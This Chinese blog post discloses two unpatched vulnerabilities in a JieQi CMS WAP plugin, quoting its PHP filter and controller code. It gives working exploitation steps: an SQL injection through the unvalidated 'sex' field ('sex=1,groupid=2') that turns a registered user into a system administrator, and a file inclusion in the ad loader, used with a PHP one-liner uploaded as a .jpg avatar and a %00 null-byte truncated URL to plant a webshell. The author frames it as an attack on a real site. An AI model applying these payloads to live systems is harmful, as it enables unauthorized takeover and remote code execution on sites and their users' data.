杰奇CMS wap插件的两个个SQL注入漏洞0DAY Getshell和提权

百度了一圈,没人发过,算是0day吧。

近日有朋友发了一个小说站,日流量很可观,几万IP一天。

后来就留意, 近日得到一套该站用的wap端的源码,看了下信息是个人写的。感觉可能会有漏洞,就瞄了几眼,果然发现点端倪。

首先是mysql.class.php的类。

它有个checksql()的方法,每次调用都会获取所有的GET,POST,COOKIE的参数。进行正则匹配,企图发现恶意注入的SQL内容。

但是SQL过滤不是很严,还是有绕过的空间。比如十六进制,一些注释符,过滤的sql语句比较有限。

主要内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private $getfilter = "'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
private $postfilter = "\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
private $cookiefilter = "\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
function __construct(){

}
function checksql(){
foreach($_GET as $key=>$value){$this->stopattack($key,$value,$this->getfilter);}
foreach($_POST as $key=>$value){$this->stopattack($key,$value,$this->postfilter);}
foreach($_COOKIE as $key=>$value){$this->stopattack($key,$value,$this->cookiefilter);}
}
/**
* 参数检查并写日志
*/
public function stopattack($StrFiltKey, $StrFiltValue, $ArrFiltReq){
if(is_array($StrFiltValue))$StrFiltValue = implode($StrFiltValue);
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue) == 1){
$this->writeslog($_SERVER["REMOTE_ADDR"]." ".strftime("%Y-%m-%d %H:%M:%S")." ".$_SERVER["PHP_SELF"]." ".$_SERVER["REQUEST_METHOD"]." ".$StrFiltKey." ".$StrFiltValue);
exit('您提交的参数非法,系统已记录您的本次操作!');
}
}

要说构造语句添加信息或者查询信息还是不容易的。所以利用起来似乎也不容易。

在看到用户模块的时候,倒是发现新大陆了。

看修改用户资料的处理代码。
controllers/user.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
public function information(){
global $smartyObj;
global $db;
$db->checksql();
$step = isset($_GET["step"])?trim($_GET["step"]):"";
$info_nickname = isset($_POST["info_nickname"])?$_POST["info_nickname"]:"";
$info_emial = isset($_POST["info_emial"])?$_POST["info_emial"]:"";
$info_sex = isset($_POST["info_sex"])?$_POST["info_sex"]:"";
$info_sign = isset($_POST["info_sign"])?$_POST["info_sign"]:"";
$info_intro = isset($_POST["info_intro"])?$_POST["info_intro"]:"";
$iserror = 0;
$userinfo = $db->clogin();
if($step=="ok") {
if ($iserror == 0 and $info_nickname == "") {
$iserror = 1;
$tourl = urlconfigs::URL_auto(array("m" => "user/information"));
$pagecontent = "保存失败!<br/>";
$pagecontent .= "昵称不能为空!<br/>";
}
if ($iserror == 0) {
$a1 = $db->query_num("select uid from " . JIEQI_DB_PREFIX . "_system_users where name ='" . $info_nickname . "' and uid !=" . $userinfo->uid);
if ($a1) {
$iserror = 1;
$tourl = urlconfigs::URL_auto(array("m" => "user/information"));
$pagecontent = "保存失败!<br/>";
$pagecontent .= "该昵称已经存在!<br/>";
}
}
if ($iserror == 0 and $info_emial == "") {
$iserror = 1;

$tourl = urlconfigs::URL_auto(array("m" => "user/information"));
$pagecontent = "保存失败!<br/>";
$pagecontent .= "邮箱不能为空!<br/>";
}
if ($iserror == 0) {
$a2 = $db->query_num("select uid from " . JIEQI_DB_PREFIX . "_system_users where email ='" . $info_emial . "' and uid !=" . $userinfo->uid);
if ($a2) {
$iserror = 1;

$tourl = urlconfigs::URL_auto(array("m" => "user/information"));
$pagecontent = "保存失败!<br/>";
$pagecontent .= "该邮箱已经存在!<br/>";
}
}
if ($iserror == 0) {
if (!ereg("^([a-zA-Z0-9_-])+@([a-zA-Z0-9_-])+(\.[a-zA-Z0-9_-])+", $info_emial)) {
$iserror = 1;

$tourl = urlconfigs::URL_auto(array("m" => "user/information"));
$pagecontent = "保存失败!<br/>";
$pagecontent .= "请填写正确的邮箱地址!<br/>";
}
}
if ($iserror == 0 and mb_strlen($info_sign, "utf-8") > 60) {
$iserror = 1;

$tourl = urlconfigs::URL_auto(array("m" => "user/information"));
$pagecontent = "保存失败!<br/>";
$pagecontent .= "您输入的签名长度超过60,请删减!<br/>";
}
if ($iserror == 0 and mb_strlen($info_intro, "utf-8") > 60) {
$iserror = 1;

$tourl = urlconfigs::URL_auto(array("m" => "user/information"));
$pagecontent = "保存失败!<br/>";
$pagecontent .= "您输入的个人简介长度超过60,请删减!<br/>";
}
}


if($iserror == 0){
if($step == "ok"){
$db->query("UPDATE ".JIEQI_DB_PREFIX."_system_users SET name='".$info_nickname."',email='".$info_emial."',sex=".$info_sex.",sign='".$info_sign."',intro='".$info_intro."' WHERE uid=".$userinfo->uid);


$tourl = urlconfigs::URL_auto(array("m"=>"user/home"));

$userinfo->name = $info_nickname;
$userinfo->email = $info_emial;
$userinfo->sex = $info_sex;
$userinfo->sign = $info_sign;
$userinfo->intro = $info_intro;

$iserror = 1;
$pagecontent = "保存成功!<br/>部分信息需要您重新登陆后才能显示最新信息哦!";
}else{
$smartyObj->assign('getuserinfo',$db->query_object("select name,email,sex,sign,intro from ".JIEQI_DB_PREFIX."_system_users where uid=".$userinfo->uid));
}
}

if($iserror == 0){

$smartydate = array("pagetitle" => "资料修改");

$tplpath = "user/information.tpl";

}else{

$smartydate = array("pagetitle" => "资料修改",
"pagecontent" => $pagecontent,
"tourl" => $tourl,
"redirecturl" => $tourl,
);

$tplpath = "public.tpl";

}
$smartyObj->Creatpage($tplpath,$smartydate);
}

info_sex性别的字段居然可以是字符串型,不转为整型,而且也没对它做长度检查。反倒是info_intro做了长度检查。
经过sqlcheck后就进入以下语句直接查询了。

1
$db->query("UPDATE ".JIEQI_DB_PREFIX."_system_users SET name='".$info_nickname."',email='".$info_emial."',sex=".$info_sex.",sign='".$info_sign."',intro='".$info_intro."' WHERE uid=".$userinfo->uid);

利用思路:
注册一个普通用户,然后利用注入修改用户组为管理员组。

修改用户信息的时候,拦截POST内容。然后修改`sex=1`为`sex=1,groupid=2`,杰奇cms是开源的,所以我能看到表字段,groupid为2的是系统管理员,有着后台所有权限。

搞定。

文件包含漏洞

发现他升级了后台,数据库备份不能用,也不能上传PHP,因为系统默认限制这个。因为是Linux系统,所以也没一些目录解析漏洞可以利用。
利用前提是magic_quotes_gpc 处于关闭状态。杰奇因为限制一定要要zend3.3.x解密,所以用的php版本是5.3以下的,
这就有了文件名截断的漏洞可以利用,有了这个,文件包含漏洞也就更加有可能了。好在经过一番寻找,发现了一个文件包含漏洞,利用起来更加方便,可以直接getshell。
就在处理动态加载脚本广告的时候。

book.class.php

1
2
3
4
5
6
7
8
9
10
11
public function ad(){
header('Content-type: text/javascript');
$addate = include_once("configs/ad/".$_GET["js"].".php");
$jsarray = explode("\n",$addate["adcontent"]);
foreach($jsarray as $jsstr) {
echo "document.write(\"";
echo str_replace("\r","",addslashes($jsstr));
echo "\");\n";
}
exit();
}

利用

简述一下吧
符合条件的,直接头像上传php一句话,后缀名为.jpg.取得图片地址.

构造url”http://domain/configs/ad/{头像相对路径}%00.php"

截断后面的php即可.

后面的你都知道了.

关注公众号 尹安灿